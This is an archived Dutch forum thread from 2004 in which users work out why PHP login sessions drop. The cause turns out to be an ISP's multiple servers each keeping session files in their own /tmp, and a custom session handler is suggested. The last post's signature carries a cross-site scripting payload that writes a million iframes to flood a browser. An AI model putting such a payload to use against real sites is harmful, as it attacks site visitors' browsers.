PDA

Bekijk Volledige Versie : [PHP] Sessies die spontaan verloren gaan



Branko Collin
23/08/04, 18:35
Ik heb een klein beheersysteempje gemaakt in PHP, en authenticering
verloopt via sessies. Helaas knalt de gebruiker er van tijd tot zo maar
uit, lijkt het, onafhankelijk van gebruikte browser. Is dit een enigszins
bekend probleem?

De sessieinstellingen lijken allemaal defaults te zijn. Zo ook
session.gc_maxlifetime, die op 1440 seconden staat (24 minuten). Het
'eruitknallen' gebeurt eerder dan dat, vaak binnen de minuut al. Ik heb
niet kunnen bepalen of het onder bepaalde voorwaarden gebeurt.

Op een loginscherm geeft de gebruiker naam + wachtwoord op. Kloppen deze
gegevens, dan krijgt z/hij toegang tot het beheersysteem. Kloppen ze niet,
dan keert de gebruiker terug op het loginscherm.

Dat gaat ongeveer zo:

login.php: session_start();
login.php: $_SESSION['loggedon'] = false;
login.php: if (validuser()) {
login.php: $_SESSION['loggedon'] = true;
login.php: header("Location:admin.php");
login.php: exit;
login.php: }
login.php: else {
login.php: $errormessage = 'U bent geen geldige gebruiker op dit
systeem.';
login.php: }

('validuser()' is daarbij een eigen functie die er hier verder niet toe
doet.) Verder laat login.php een invulformulier voor gebruikersnaam en
wachtwoord zien, en eventuele foutmeldingen (zoals de bovenstaande, wanneer
de login fout gaat).

Op de beheerpagina wordt vervolgens gecontroleerd of de gebruiker is
ingelogd:

admin.php: session_start();
admin.php: $leave = false;
admin.php:
admin.php: if (if isset($_POST['logout']) && $_POST['logout']=='logout') {
admin.php: $leave = true;
admin.php: }
admin.php:
admin.php: if (isset($_SESSION['loggedon'])) {
admin.php: if (!$_SESSION['loggedon']) {
admin.php: // wrong username
admin.php: $leave = true;
admin.php: $_SESSION['error'] = 'Nice try, buster';
admin.php: }
admin.php: }
admin.php: else {
admin.php: // username not set, so incorrect
admin.php: $leave = true;
admin.php: }
admin.php:
admin.php: if ($leave) {
admin.php: session_destroy();
admin.php: header("Location:login.php");
admin.php: exit;
admin.php: }

Komt de uitvoering van het script voorbij dit punt, dan gaat alles
blijkbaar goed in krijgt de gebruiker toegang tot het beheer gedeelte.

Het blijkt echter regelmatig mis te gaan op de volgende regel:

if (isset($_SESSION['loggedon']))

Met andere woorden, PHP kan die sessievariabele niet vinden.

Doe ik iets verkeerd? Kan het aan de browser liggen (getest met Firefox 0.8
en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?

--
Branko Collin
if you reply by e-mail, please change invalid to nl and z to s
(but replies to the news group are preferred)

Michiel de Roo
23/08/04, 18:55
Branko Collin wrote:
> Ik heb een klein beheersysteempje gemaakt in PHP, en authenticering
> verloopt via sessies. Helaas knalt de gebruiker er van tijd tot zo maar
> uit, lijkt het, onafhankelijk van gebruikte browser. Is dit een enigszins
> bekend probleem?
>
> De sessieinstellingen lijken allemaal defaults te zijn. Zo ook
> session.gc_maxlifetime, die op 1440 seconden staat (24 minuten). Het
> 'eruitknallen' gebeurt eerder dan dat, vaak binnen de minuut al. Ik heb
> niet kunnen bepalen of het onder bepaalde voorwaarden gebeurt.
>
> Op een loginscherm geeft de gebruiker naam + wachtwoord op. Kloppen deze
> gegevens, dan krijgt z/hij toegang tot het beheersysteem. Kloppen ze niet,
> dan keert de gebruiker terug op het loginscherm.
>
> Dat gaat ongeveer zo:
>
> login.php: session_start();
> login.php: $_SESSION['loggedon'] = false;
> login.php: if (validuser()) {
> login.php: $_SESSION['loggedon'] = true;
> login.php: header("Location:admin.php");
> login.php: exit;
> login.php: }
> login.php: else {
> login.php: $errormessage = 'U bent geen geldige gebruiker op dit
> systeem.';
> login.php: }
>
> ('validuser()' is daarbij een eigen functie die er hier verder niet toe
> doet.) Verder laat login.php een invulformulier voor gebruikersnaam en
> wachtwoord zien, en eventuele foutmeldingen (zoals de bovenstaande, wanneer
> de login fout gaat).
>
> Op de beheerpagina wordt vervolgens gecontroleerd of de gebruiker is
> ingelogd:
>
> admin.php: session_start();
> admin.php: $leave = false;
> admin.php:
> admin.php: if (if isset($_POST['logout']) && $_POST['logout']=='logout') {
> admin.php: $leave = true;
> admin.php: }
> admin.php:
> admin.php: if (isset($_SESSION['loggedon'])) {
> admin.php: if (!$_SESSION['loggedon']) {
> admin.php: // wrong username
> admin.php: $leave = true;
> admin.php: $_SESSION['error'] = 'Nice try, buster';
> admin.php: }
> admin.php: }
> admin.php: else {
> admin.php: // username not set, so incorrect
> admin.php: $leave = true;
> admin.php: }
> admin.php:
> admin.php: if ($leave) {
> admin.php: session_destroy();
> admin.php: header("Location:login.php");
> admin.php: exit;
> admin.php: }
>
> Komt de uitvoering van het script voorbij dit punt, dan gaat alles
> blijkbaar goed in krijgt de gebruiker toegang tot het beheer gedeelte.
>
> Het blijkt echter regelmatig mis te gaan op de volgende regel:
>
> if (isset($_SESSION['loggedon']))
>
> Met andere woorden, PHP kan die sessievariabele niet vinden.
>
> Doe ik iets verkeerd? Kan het aan de browser liggen (getest met Firefox 0.8
> en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?
>

Het zal hoogstwaarshijnlijk aan de server liggen. Wat voor server heb je
eigenlijk ? Draai je PHP als CGI ? Het kan zijn dat de cookie verloren
gaat na de header("Location: admin.php"), misschien moet je dat checken.
In Mozilla kun je hiervoor de LiveHTTPHeaders plugin gebruiken.

Lijkt het wellicht op een van de problemen die hier staan ?
http://bugs.php.net/bug.php?id=14636

gr, michiel.

Daniel Tryba
23/08/04, 22:45
Branko Collin <branko@mixedflavourz.invalid> wrote:
> De sessieinstellingen lijken allemaal defaults te zijn. Zo ook
> session.gc_maxlifetime, die op 1440 seconden staat (24 minuten). Het
> 'eruitknallen' gebeurt eerder dan dat, vaak binnen de minuut al. Ik heb
> niet kunnen bepalen of het onder bepaalde voorwaarden gebeurt.
[knip]
> Doe ik iets verkeerd?

Het enige wat je fout doet (en dus aan de gratie des browsers laat) is
de relative redirect...

> Kan het aan de browser liggen (getest met Firefox 0.8
> en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?

Waarschijnlijk server probleem... zoals al is aangegeven controleer of
de cookie headers correct zijn en check op het moment van het misgaan de
session file... bestaat die nog? 0 bytes groot wellicht? Het kan
namelijk zijn dat je filesystem waar de sessies op worden bewaard op een
willekeurig moment vol is, dat heeft nogal fatal gevolgen op het moment
van schrijven naar een sessie.

--

Daniel Tryba

Branko Collin
23/08/04, 23:35
Michiel de Roo <yourlove@welovespam.nl>, you wrote on Mon, 23 Aug 2004
18:50:33 +0200:
>Branko Collin wrote:

>> Ik heb een klein beheersysteempje gemaakt in PHP, en authenticering
>> verloopt via sessies. Helaas knalt de gebruiker er van tijd tot zo maar
>> uit, lijkt het, onafhankelijk van gebruikte browser. Is dit een enigszins
>> bekend probleem?

[knippiedeknip]

>> Het blijkt echter regelmatig mis te gaan op de volgende regel:
>>
>> if (isset($_SESSION['loggedon']))
>>
>> Met andere woorden, PHP kan die sessievariabele niet vinden.
>>
>> Doe ik iets verkeerd? Kan het aan de browser liggen (getest met Firefox 0.8
>> en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?
>>
>
>Het zal hoogstwaarshijnlijk aan de server liggen. Wat voor server heb je
>eigenlijk ? Draai je PHP als CGI?

Virtual server bij een ISP (XS4All). Oh, vervloekt! (Zie verder.)

>Het kan zijn dat de cookie verloren
>gaat na de header("Location: admin.php"), misschien moet je dat checken.
>In Mozilla kun je hiervoor de LiveHTTPHeaders plugin gebruiken.
>
>Lijkt het wellicht op een van de problemen die hier staan ?
>http://bugs.php.net/bug.php?id=14636

Heel nuttige link! Daar stond iets over het save_path, en ik dacht:
die zal bij XS4All toch niet van machine wisselen? Wel dus! Uit de
XS4All-PHP-FAQ:

"8. Ik gebruik php sessions-id, maar mijn sessiegegevens veranderen
soms toch.

PHP bewaard standaard zijn session files in /tmp. XS4ALL heeft echter
meerdere machines, deze hebben allemaal hun eigen /tmp. Als het
bestand op de ene machine gestart wordt, probeert hij daar de session
file uit te lezen, een volgende keer kan het van een andere machine
gehaald worden, u krijgt dan andere sessiegegevens.

U kunt dit oplossen door zelf het save_path aanpassen via uw scripts
of zelf php installeren met een eigen php.ini en het op die manier
aanpassen."

Dat geloof je toch niet. Wat een vak.

Bedankt voor het meedenken, Michiel,

--
branko collin
collin@xs4all.nl

Hans
24/08/04, 00:35
On Mon, 23 Aug 2004 23:35:40 +0200, Branko Collin <collin@xs4all.nl> wrote:

> "8. Ik gebruik php sessions-id, maar mijn sessiegegevens veranderen
> soms toch.
>
> PHP bewaard standaard zijn session files in /tmp. XS4ALL heeft echter
> meerdere machines, deze hebben allemaal hun eigen /tmp. Als het
> bestand op de ene machine gestart wordt, probeert hij daar de session
> file uit te lezen, een volgende keer kan het van een andere machine
> gehaald worden, u krijgt dan andere sessiegegevens.
>
> U kunt dit oplossen door zelf het save_path aanpassen via uw scripts
> of zelf php installeren met een eigen php.ini en het op die manier
> aanpassen."

Als je daar bijvoorbeeld de beschikking hebt over een database kun je je
eigen session_handler gebruiken:


session_set_save_handler(
"s_open",
"s_close",
"s_read",
"s_write",
"s_destroy",
"s_gc");


In deze functies kun je het hele gebeuren emuleren.

Voorbeeldje:

http://blacklist.kernelnewbies.nl/sessions.phps


Hans


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>